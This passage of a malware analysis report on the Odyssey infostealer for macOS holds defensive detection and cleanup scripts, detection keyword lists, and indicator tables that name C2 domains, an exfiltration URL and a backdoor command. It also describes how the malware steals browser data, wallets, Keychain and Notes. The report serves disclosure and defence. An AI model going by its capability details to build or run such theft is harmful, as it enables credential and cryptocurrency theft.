warn "Found non-Apple processes listening on network ports (Review these):"
echo "$LISTENING_PORTS" | sed 's/^/ /'
else
ok "No suspicious third-party listening ports found."
fi
section "Verdict"
if [ "$FOUND" -eq 1 ]; then
say "RESULT: KNOWN IOCS FOUND."
say "Treat this Mac as compromised. Change passwords from a different clean device."
elif [ "$SUSPICIOUS" -eq 1 ]; then
say "RESULT: No hard IoC found, but warnings occurred."
say "This does not prove the Mac is clean."
else
say "RESULT: No known malware IoCs found by this script."
say "This does not prove the Mac is clean; it only checks known infection patterns."
fi
if [ "$CLEAN" -ne 1 ]; then
section "No cleanup performed"
say "To clean known IoCs, run:"
say " sudo $0 --clean"
exit 0
fi
section "Cleanup mode: evidence backup"
EVIDENCE_DIR="/Users/Shared/odyssey-evidence-$(timestamp)"
mkdir -p "$EVIDENCE_DIR"
backup_item() {
item="$1"
if [ -e "$item" ]; then
say " Backing up: $item"
ditto "$item" "$EVIDENCE_DIR/$(basename "$item")" 2>/dev/null || cp -R "$item" "$EVIDENCE_DIR/" 2>/dev/null || true
fi
}
backup_item "$INSTALL_APP"
backup_item "$LAUNCHD_PLIST"
for f in "${DOTFILES[@]}"; do
backup_item "$f"
done
if [ -d "$EVIDENCE_DIR" ]; then
say "Evidence copied to: $EVIDENCE_DIR"
/usr/bin/zip -qry "$EVIDENCE_DIR.zip" "$EVIDENCE_DIR" 2>/dev/null && say "Evidence zip: $EVIDENCE_DIR.zip"
fi
section "Cleanup mode: unload persistence and kill processes"
launchctl bootout system "$LAUNCHD_PLIST" 2>/dev/null || true
launchctl remove system/com.xdivcmp 2>/dev/null || true
# Kill the active AppleScript and Bash loops spawned by the malware
say " Killing active malware processes..."
pkill -f "xxxblyat" 2>/dev/null || true
pkill -f "com.xdivcmp" 2>/dev/null || true
pkill -f "/tmp/socks" 2>/dev/null || true
pkill -f "lksopo" 2>/dev/null || true
section "Cleanup mode: remove known IoCs"
remove_item() {
item="$1"
if [ -e "$item" ]; then
say " Removing: $item"
rm -rf "$item"
fi
}
remove_item "$INSTALL_APP"
remove_item "$LAUNCHD_PLIST"
for f in "${DOTFILES[@]}"; do
remove_item "$f"
done
# Remove known temp files dropped by the malware
say " Removing malware staging files in /tmp/..."
rm -f /tmp/socks 2>/dev/null || true
rm -rf /tmp/lksopo 2>/dev/null || true
rm -f /tmp/lksopo.zip 2>/dev/null || true
section "Cleanup mode: re-enable Gatekeeper"
spctl --master-enable 2>/dev/null || true
spctl --status 2>/dev/null | sed 's/^/ /' || true
section "Cleanup complete"
say "Known IoCs were removed if present."
say ""
say "Important next steps:"
say " 1. Reboot the Mac."
say " 2. Run this script again in detect-only mode."
say " 3. Change passwords from a different clean device."
say " 4. Revoke browser sessions, email sessions, Apple ID sessions, GitHub/API tokens, SSH keys, and crypto wallet seeds."
say " 5. Strongly consider erase/reinstall macOS instead of trusting cleanup alone."
10.1 IoCs Checked
| Type | IoC |
|---|---|
| Files | /Library/Application Support/Install.app |
| Files | /Library/LaunchDaemons/com.xdivcmp.plist |
| Dotfiles | ~/.pwd, ~/.phost, ~/.bhost, ~/.username, ~/.botid, ~/.lastaction, ~/.uninstalled |
| Temp files | /tmp/lksopo, /tmp/lksopo.zip, /tmp/socks |
| Domains | charge0x.at, ukdsopas.at |
| IPs | 192.253.248.181 |
| Strings | xxxblyat, xdivcmp, com.xdivcmp, /web/socks, lksopo |
| Processes | xxxblyat, com.xdivcmp, /tmp/socks, lksopo |
10.2 Script Usage
# Detect only (safe, changes nothing)
sudo ./detect_odyssey_mac.sh
# Cleanup (backup evidence, kill processes, remove IoCs)
sudo ./detect_odyssey_mac.sh --clean
The script insists on erasing and reinstalling macOS — cleanup alone is not sufficient due to the doshell backdoor.
11. External Drive Forensic Script
A separate script (detect_external_mac.sh) was developed for scanning external drives:
#!/bin/bash
#
# detect_external_mac.sh
#
# Forensically scans an external macOS hard drive or backup for Odyssey Stealer / xdivcmp IoCs.
#
# Usage: sudo ./detect_external_mac.sh "/Volumes/NameOfExternalDrive"
#
set -u
# ============================================================
# INPUT VALIDATION
# ============================================================
TARGET_VOL="${1:-}"
if [ -z "$TARGET_VOL" ] || [ ! -d "$TARGET_VOL" ]; then
printf '\n'
printf 'ERROR: You must provide the path to the external drive.\n'
printf 'Usage: sudo %s "/Volumes/NameOfExternalDrive"\n' "$0"
printf '\n'
printf 'To find your drive name, open Finder and look in the left sidebar,\n'
printf 'or type: ls /Volumes/\n'
printf '\n'
exit 1
fi
if [ "$(id -u)" -ne 0 ]; then
printf 'ERROR: This script requires administrator (root) privileges to read external drives.\n'
printf 'Please run: sudo %s "%s"\n' "$0" "$TARGET_VOL"
exit 1
fi
# ============================================================
# OPENING WARNING
# ============================================================
printf '\n'
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
printf '!! !!\n'
printf '!! EXTERNAL DRIVE FORENSIC SCANNER !!\n'
printf '!! !!\n'
printf '!! Target Drive: %-48s !!\n' "$TARGET_VOL"
printf '!! !!\n'
printf '!! This script will scan the dormant files on this drive. !!\n'
printf '!! It will NOT check live network connections or active memory, !!\n'
printf '!! because this drive is not the active operating system. !!\n'
printf '!! !!\n'
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
printf '\n'
sleep 3
CLEAN=0
if [ "${2:-}" = "--clean" ]; then
CLEAN=1
fi
FOUND=0
SUSPICIOUS=0
timestamp() {
date +"%Y-%m-%d_%H-%M-%S"
}
say() {
printf '%s\n' "$*"
}
hit() {
FOUND=1
printf ' [HIT] %s\n' "$*"
}
warn() {
SUSPICIOUS=1
printf ' [WARN] %s\n' "$*"
}
ok() {
printf ' [OK] %s\n' "$*"
}
section() {
printf '\n==== %s ====\n' "$*"
}
# ============================================================
# DISCOVER USERS ON EXTERNAL DRIVE
# ============================================================
section "Step 1 of 5: Locating User Accounts on the External Drive"
say "I am looking inside the 'Users' folder on the external drive to find"
say "which user accounts might be infected..."
say ""
TARGET_USERS=()
if [ -d "$TARGET_VOL/Users" ]; then
for d in "$TARGET_VOL/Users"/*; do
if [ -d "$d" ]; then
bname=$(basename "$d")
if [ "$bname" != "Shared" ] && [ "$bname" != "Guest" ] && [ "$bname" != ".localized" ]; then
TARGET_USERS+=("$d")
say " Found user account on external drive: $bname"
fi
fi
done
else
warn "Could not find a standard '/Users' folder on this drive."
say " This might be a data-only drive, or a Time Machine backup (which hides user folders)."
fi
if [ ${#TARGET_USERS[@]} -eq 0 ]; then
warn "No standard user folders found. I will still scan system folders."
fi
# ============================================================
# FILE SYSTEM CHECKS
# ============================================================
section "Step 2 of 5: Checking for known malware files on the external drive"
say "Scanning system folders on the external drive for malware components..."
say ""
INSTALL_APP="$TARGET_VOL/Library/Application Support/Install.app"
LAUNCHD_PLIST="$TARGET_VOL/Library/LaunchDaemons/com.xdivcmp.plist"
say " Checking for the fake 'Install.app'..."
if [ -e "$INSTALL_APP" ]; then
hit "FOUND the fake Install.app on the external drive!"
ls -ld "$INSTALL_APP" 2>/dev/null | sed 's/^/ /'
else
ok "The fake Install.app was NOT found."
fi
say ""
say " Checking for the malicious startup file (LaunchDaemon)..."
if [ -e "$LAUNCHD_PLIST" ]; then
hit "FOUND the malicious startup file on the external drive!"
say " If this is a bootable clone, it will infect the Mac on next boot."
sed 's/^/ /' "$LAUNCHD_PLIST" 2>/dev/null || true
else
ok "The malicious startup file was NOT found."
fi
# ============================================================
# USER DOTFILES CHECK
# ============================================================
section "Step 3 of 5: Checking for hidden tracking files in user folders"
say "Looking for the tiny hidden files the malware uses to track the victim..."
say ""
DOTFILES=(
".pwd"
".phost"
".bhost"
".username"
".botid"
".lastaction"
".uninstalled"
)
for u in "${TARGET_USERS[@]}"; do
say " Scanning user: $(basename "$u")"
for f in "${DOTFILES[@]}"; do
filepath="$u/$f"
if [ -e "$filepath" ]; then
hit "FOUND hidden malware file: $filepath"
ls -l "$filepath" 2>/dev/null | sed 's/^/ /'
fi
done
done
# ============================================================
# PERSISTENCE STRING SEARCH
# ============================================================
section "Step 4 of 5: Scanning startup folders for hidden malware references"
say "Reading startup files on the external drive to search for malware keywords..."
say "This may take a minute."
say ""
IOC_STRINGS=(
"charge0x.at"
"ukdsopas.at"
"192.253.248.181"
"xdivcmp"
"com.xdivcmp"
"xxxblyat"
"/web/socks"
"lksopo"
)
PERSISTENCE_DIRS=(
"$TARGET_VOL/Library/LaunchAgents"
"$TARGET_VOL/Library/LaunchDaemons"
)
# Add user launch agents
for u in "${TARGET_USERS[@]}"; do
PERSISTENCE_DIRS+=("$u/Library/LaunchAgents")
done
for d in "${PERSISTENCE_DIRS[@]}"; do
if [ -d "$d" ]; then
for s in "${IOC_STRINGS[@]}"; do
matches="$(grep -RIl "$s" "$d" 2>/dev/null || true)"
if [ -n "$matches" ]; then
hit "Found the malware keyword '$s' hidden inside a startup file on the external drive!"
printf '%s\n' "$matches" | sed 's/^/ /'
fi
done
fi
done
say " Startup folder scan complete."
# ============================================================
# VERDICT & CLEANUP
# ============================================================
section "Step 5 of 5: Final Verdict"
printf '\n'
if [ "$FOUND" -eq 1 ]; then
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
printf '!! !!\n'
printf '!! *** EXTERNAL DRIVE IS INFECTED *** !!\n'
printf '!! !!\n'
printf '!! Known malware files or backdoors were found on this drive. !!\n'
printf '!! !!\n'
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
elif [ "$SUSPICIOUS" -eq 1 ]; then
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
printf '!! *** SUSPICIOUS ACTIVITY DETECTED *** !!\n'
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
else
say "RESULT: No known malware indicators were found on this external drive."
say "Note: This does not guarantee the drive is 100% clean, only that"
say "the specific Odyssey/xdivcmp malware fingerprints were not found."
fi
if [ "$CLEAN" -eq 1 ] && [ "$FOUND" -eq 1 ]; then
section "Cleanup: Removing known malware files from external drive"
say "Deleting known malware files from $TARGET_VOL..."
[ -e "$INSTALL_APP" ] && rm -rf "$INSTALL_APP" && say " Deleted: $INSTALL_APP"
[ -e "$LAUNCHD_PLIST" ] && rm -f "$LAUNCHD_PLIST" && say " Deleted: $LAUNCHD_PLIST"
for u in "${TARGET_USERS[@]}"; do
for f in "${DOTFILES[@]}"; do
filepath="$u/$f"
[ -e "$filepath" ] && rm -f "$filepath" && say " Deleted: $filepath"
done
done
say "Cleanup complete."
fi
# ============================================================
# CRITICAL FINAL INSTRUCTIONS
# ============================================================
section "CRITICAL NEXT STEPS — READ CAREFULLY"
printf '\n'
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
printf '!! !!\n'
printf '!! DO NOT USE THIS EXTERNAL DRIVE TO RESTORE YOUR MAC. !!\n'
printf '!! !!\n'
printf '!! If this is a Time Machine or Bootable Clone backup, the !!\n'
printf '!! malware is likely baked into older backup snapshots that !!\n'
printf '!! this script cannot reach. Restoring from this drive will !!\n'
printf '!! simply re-infect your clean Mac. !!\n'
printf '!! !!\n'
printf '!! YOU MUST ERASE THIS EXTERNAL DRIVE. !!\n'
printf '!! !!\n'
printf '!! 1. Open 'Disk Utility' on your clean Mac. !!\n'
printf '!! 2. Select the external drive on the left sidebar. !!\n'
printf '!! 3. Click 'Erase' at the top (Format: APFS or Mac OS Extended).!!\n'
printf '!! 4. Once erased, the drive is safe to use again. !!\n'
printf '!! !!\n'
printf '!! If this is just a standard USB drive used for moving files: !!\n'
printf '!! - Move ONLY essential documents (PDFs, Images, Text) to a !!\n'
printf '!! clean computer. !!\n'
printf '!! - Do NOT move applications, scripts, or hidden folders. !!\n'
printf '!! - Erase the external drive immediately after. !!\n'
printf '!! !!\n'
printf '!! REMEMBER: Run a FULL scan with Malwarebytes on your clean !!\n'
printf '!! Mac, and keep your Mac disconnected from the internet until !!\n'
printf '!! you have changed all your passwords from a different device. !!\n'
printf '!! !!\n'
printf '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
printf '\n'
This script:
- Scans the external drive’s
Usersfolder for dotfiles - Checks
/Library/LaunchDaemonsand/Library/LaunchAgentson the external drive - Warns that Time Machine backups cannot be safely cleaned (must be erased)
Usage:
sudo ./detect_external_mac.sh "/Volumes/MyDrive"
12. Indicators of Compromise
12.1 Network
| IoC | Type |
|---|---|
ukdsopas.at |
C2 domain |
192.253.248.181 |
C2 IP (PureVPN / Secure Internet LLC) |
http://ukdsopas.at/log |
Exfiltration endpoint |
User‑Agent: bot |
HTTP header |
panel_addr: http://ukdsopas.at |
HTTP header |
12.2 Host
| IoC | Type |
|---|---|
com.xdivcmp.plist |
LaunchDaemon persistence |
.IuN79Kxxpn |
Encrypted payload |
.botid, .pwd, .phost, .bhost, .username, .lastaction, .uninstalled |
Configuration dotfiles |
/tmp/lksopo/ |
Staging directory |
/tmp/lksopo.zip |
Exfiltration archive |
/tmp/socks |
SOCKS5 proxy binary |
Patch.app |
Malware binary |
xxxblyat |
Build ID / operator identifier |
newooble |
Attacker panel username |
12.3 Hashes
| Hash | Value |
|---|---|
| SHA‑256 (x86_64) | 1b19352e39817758951c4c99e2ec90501abe6b4b56d7467bfb49184197c4afd0 |
| SHA‑256 (fat binary) | 0174997b7eaa81de686d2f22534d8684a698bd1388ed7f15430f8b881ad32f1c |
| CDHash | 5a0029d7b775b584cfd1a87a49e0af44f17a58d8 |
12.4 Campaign Identifiers
| IoC | Value |
|---|---|
| Build ID | 909286c1d2fb4c5c97dfc22a486661c1 |
| Panel username | newooble |
| app_id | xxxblyat |
| botid | 19a9ff38c1b24ffe8e5c54a91af203c8 |
13. Response and Disclosure
| Action | Recipient | Status |
|---|---|---|
| Cybercrime report | ACSC (ReportCyber) | Filed |
| Criminal report | Australian Federal Police | Filed |
| Identity fraud support | IDCARE | Engaged |
| Scam report | Scamwatch (ACCC) | Filed |
| Domain abuse | nic.at (.at registry) | Sent |
| IP abuse | btcloud.ro / PureVPN | Sent |
| Malware sample | VirusTotal | Both slices uploaded |
| C2 URL | URLhaus (abuse.ch) | Added |
| IP report | AbuseIPDB | Added |
| Fraud alert | Financial institution | Placed |
| Credit bans | Equifax, Experian, illion | Placed |
All credentials on the affected systems were rotated within 24 hours. Two‑factor authentication was enabled on all supported accounts. The infected machines were erased following forensic preservation.
14. Critical Remediation Steps
If you find IoCs on your Mac:
- DISCONNECT FROM THE INTERNET IMMEDIATELY. Turn off Wi‑Fi, unplug Ethernet.
- DO NOT enter any passwords or login to any accounts on this machine.
- Using a clean device, change ALL passwords (email, banking, crypto exchanges, social media).
- Move ALL cryptocurrency funds to new wallets generated on a clean device.
- Run Malwarebytes for Mac (full system scan) on the compromised machine.
- ERASE THE ENTIRE DISK via macOS Recovery and reinstall macOS from scratch. This is NOT optional — the
doshellbackdoor means the attacker had full command execution. - After fresh install, run Malwarebytes again and run the detection script as a verification.
- DO NOT reuse any passwords that were stored on this machine.
15. Conclusions
This sample demonstrates a mature macOS infostealer with several notable characteristics:
-
Broad target coverage. Fourteen browsers, seventeen cryptocurrency wallets, the macOS Keychain, Apple Notes, and Safari cookies. The inclusion of hardware wallet export (Ledger, Trezor) indicates a financially motivated operator with specific interest in cryptocurrency theft.
-
Effective string obfuscation. The xorshift32‑based cipher is simple but sufficient to defeat static string analysis. All 379 strings were recovered through brute‑force seed extraction.
-
Persistent backdoor capability. The
doshellcommand gives the attacker unrestricted command execution on the victim’s machine, enabling secondary payload deployment, data theft beyond the automated stealer, and persistent remote access. -
The Apple Notes vector is underappreciated. The 969‑byte AppleScript that extracts all notes from all accounts is a significant privacy threat. Users routinely store passwords, recovery codes, and sensitive personal information in Notes.
-
The raw IP bypasses DNS blocks. The malware uses
.bhostto store the raw IP (192.253.248.181), completely bypassing DNS‑based domain blocking. The.phostdomain is only used as an HTTP header, not for actual communication. -
The C2 infrastructure remained active. The
.botidrecovered from the second infection (19a9ff38c1b24ffe8e5c54a91af203c8) proved the attacker’s panel was still online and the campaign was ongoing.
The sample and all associated IOCs have been submitted to VirusTotal, URLhaus, and the relevant national and infrastructure abuse contacts.
The author is an independent security researcher based in Australia. All analysis was conducted on preserved forensic evidence. The views expressed here are the author’s own. IOCs and samples are available to verified researchers on request.
References: https://0xlibris.net/posts/odyssey_infostealer/